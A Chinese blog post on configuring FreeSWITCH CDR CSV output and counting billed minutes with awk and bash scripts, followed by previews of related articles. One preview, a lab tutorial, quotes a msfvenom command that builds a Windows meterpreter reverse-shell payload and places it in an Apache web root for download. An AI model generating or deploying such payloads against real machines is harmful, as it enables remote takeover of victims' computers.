freeswitch的话单处理

news/2025/3/19 15:12:44/文章来源:https://www.cnblogs.com/qiuzhendezhen/p/18502983

 

概述

freeswitch是一款简单好用的VOIP开源软交换平台。

如果对cdr话单要求不高,可以直接使用fs的原始话单文件,使用脚本做一些简单的统计。

环境

CentOS 7.9

freeswitch 1.10.7

docker

话单配置

修改conf/autoload_configs/cdr_csv.conf.xml文件如下。

<param name="legs" value="ab"/>

...

<template name="example">"${caller_id_name}","${caller_id_number}","${destination_number}","${context}","${start_stamp}","${progress_media_stamp}","${progress_stamp}","${answer_stamp}","${bridge_stamp}","${end_stamp}","${duration}","${billsec}","${hangup_cause}","${uuid}","${bleg_uuid}","${accountcode}","${read_codec}","${write_codec}","${direction}","${hangup_cause_q850}","${sip_hangup_disposition}","${proto_specific_hangup_cause}","${network_addr}","${rtp_audio_in_mos}","${180withsdp}","${sip_network_ip}","${sip_network_port}","${sip_local_network_addr}","${sofia_profile_name}"</template>

统计脚本

脚本文件直接放在cdr目录中log/cdr-csv/目录下。

脚本calculate_minutes.sh内容如下。

#!/bin/bash

 

# 输入文件路径

input_file="./cdr202408-answer-billsec-B.csv"

 

# 使用 awk 处理 CDR 文件

awk -F, 'BEGIN {total_cdr=0; total_minutes=0; total_6second=0} {

# 将 billsec 转换为计费分钟数

gsub(/"/, "", $12)

billsec = $12

fee_minutes = int((billsec + 59) / 60)

fee_6sec = int((billsec + 5) / 6)

# 累加所有行的分钟数

total_cdr += 1

total_minutes += fee_minutes

total_6second += fee_6sec

} END {print "Total cdr:", total_cdr, "\nTotal billed minutes:", total_minutes, "\nTotal 6 second:", total_6second}' "$input_file"

使用时修改input_file参数即可。

简单统计

进入log/cdr-csv/目录。

月度全量话单。

cat Master.csv.2024-08-* > cdr202408.csv

月度的接通话单。

awk -F, '($8 != "\"\"") {print}' cdr202408.csv > cdr202408-answer.csv

检查billsec为0的接通话单。

awk -F, '($8 != "\"\"" && $12 == "\"0\"") {print}' cdr202408-answer.csv

对billsec为0的接通话单修正为1。

awk -F, 'BEGIN {OFS=FS} {if ($12 == "\"0\"") $12 = "\"1\""; print}' cdr202408-answer.csv > cdr202408-answer-billsec.csv

过滤B路话单。

grep "outbound" cdr202408-answer-billsec.csv > cdr202408-answer-billsec-B.csv

统计计费分钟数,统计计费6秒数。

bash calculate_minutes.sh

Total cdr: 31119

Total billed minutes: 33403

Total 6 second: 90851

总结

fs暂时没发现有内置的话单统计和报表模块。自己实现吧。

 

空空如常

求真得真

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/821787.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

FaceRate.ai:精准的面部评分与深度分析,为你的外貌带来全新视角

FaceRate.ai是一款面部分析工具,通过精准评分和黄金比例测试,帮助用户深入了解自己的面部特征。它不仅适合个人提升外貌认知,还为美容师、设计师、艺术家等提供创作灵感。摘要:FaceRate.ai是一款面部分析工具,通过精准评分和黄金比例测试,帮助用户深入了解自己的面部特征…

Lossless Recompression of JPEG Images Using Transform Domain Intra Prediction

目录简介引入文章贡献对 DCT 系数残差进行编码比对原始 DCT 系数进行编码更有利于压缩模型框架模型的应用场景null 简介 \(\quad\)JPEG图像编码格式由于其简单高效在各种设备和网站上被广泛使用,随着互联网的发展和移动设备的普及大量用户生成的JPEG图像被上传到各社交网站或者…

国产!瑞芯微米尔RK357核心板革新AIoT设备,8核6T高算力

随着科技的快速发展,AIoT智能终端对嵌入式模块的末端计算能力、数据处理能力等要求日益提高。近日,米尔电子发布了一款基于瑞芯微RK3576核心板和开发板。核心板提供4GB/8GB LPDDR4X、32GB/64GB eMMC等多个型号供选择。瑞芯微RK3576核心优势主要包括高性能数据处理能力、领先的…

苹果的AirPods和其他品牌无线耳机有什么区别_1

苹果的AIrPods自推出以来就在无线耳机市场上引起了广泛关注,它们以其独特的设计、无缝的设备集成和优质的用户体验而著称。本文将探讨AirPods与其他品牌无线耳机的主要差异有:1.设计和舒适度;2.音质和性能;3.价格和价值;4.电池寿命和充电;5.兼容性和功能;6.附加功能;7.…

苹果M1芯片和Intel芯片在性能上有哪些差异

苹果M1芯片和Intel芯片的性能差异显著,主要体现在以下几个方面:1. 架构设计不同;2. 性能与效率平衡不同;3. 图形处理能力不同;4. AI和机器学习性能不同;5. 能耗和热管理不同;6. 兼容性和多任务处理不同。M1芯片作为苹果公司自研的首款ARM架构芯片,与Intel的x86架构芯片…

vs编译项目失败,提示 要求“SourceRoot”路径以斜杠或反斜杠结尾

vs编译项目失败,提示 要求“SourceRoot”路径以斜杠或反斜杠结尾处理办法从git上下载部分项目编译时出现错误,提示如下: 严重性 代码 说明 项目 文件 行 禁止显示状态 详细信息错误(活动) 要求“SourceRoot”路径以斜杠或反斜杠结尾:“E:\dev_tools\.nuget\packages” MahA…

深入理解偏向锁、轻量级锁、重量级锁

一、对象结构和锁状态 synchronized关键字是java中的内置锁实现,内置锁实际上就是个任意对象,其内存结构如下图所示其中,Mark Word字段在64位虚拟机下占64bit长度,其结构如下所示可以看到Mark Word字段有个很重要的作用就是记录当前对象锁状态,最后3bit字段用来标记当前锁…

RAW格式和JPG格式有什么区别

RAW格式和JPG格式的区别主要包括:1.数据保存形式不同;2.编辑灵活性不同;3.文件大小和存储空间不同;4.颜色深度差异;5.适用场景不同;6.兼容性差异;7.输出质量的对比。其中,数据保存形式的差异是二者之间的核心区别,RAW为未经压缩处理的原始数据,而JPG则是有损压缩后的…

利用msfvenom远程控制

(NAT模式)在kali上先ifconfig得到kali的ip地址192.168.75.133 构建 `msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.75.133 lport=5000 -f exe -o /root/payload.exe 先转到/root 然后把这个文件放在apache的网站下 cd /root `cp payload.exe /var/www/html 启动…

解决:AssertionError: Label class 1 exceeds nc=1 in data/coco128.yaml. Possible class labels are 0-0

这个基本上是标签有问题 大概率是标签txt文件内的编号不正确导致的 编号大于nc数就会报这个错误

华企盾【运维利器】PowerShell自动磁盘清理脚本代码

在日常工作中,磁盘空间不足是一个常见且令人头疼的问题。为了解决这一问题,我们可以使用PowerShell编写一个自动磁盘清理脚本。 该脚本旨在监控特定目录(如E: est),并在可用空间低于设定阈值(20%)时自动删除最旧的文件,以确保磁盘空间的有效利用。 脚本的基本逻辑是每分…

我新上线的小程序功能:生日备注

功能作用:记录亲朋好友的生日信息、还有多少天生日、多少岁。 背景:因为记不住亲人的出生日期和多少岁和还有多久生日,用记事本也只能记录一串文字,不是特别方便,所以自己从零开发了这样一个小功能,能帮助自己记录亲人的生日信息。 框架:uniapp、云开发,我的这套框架可…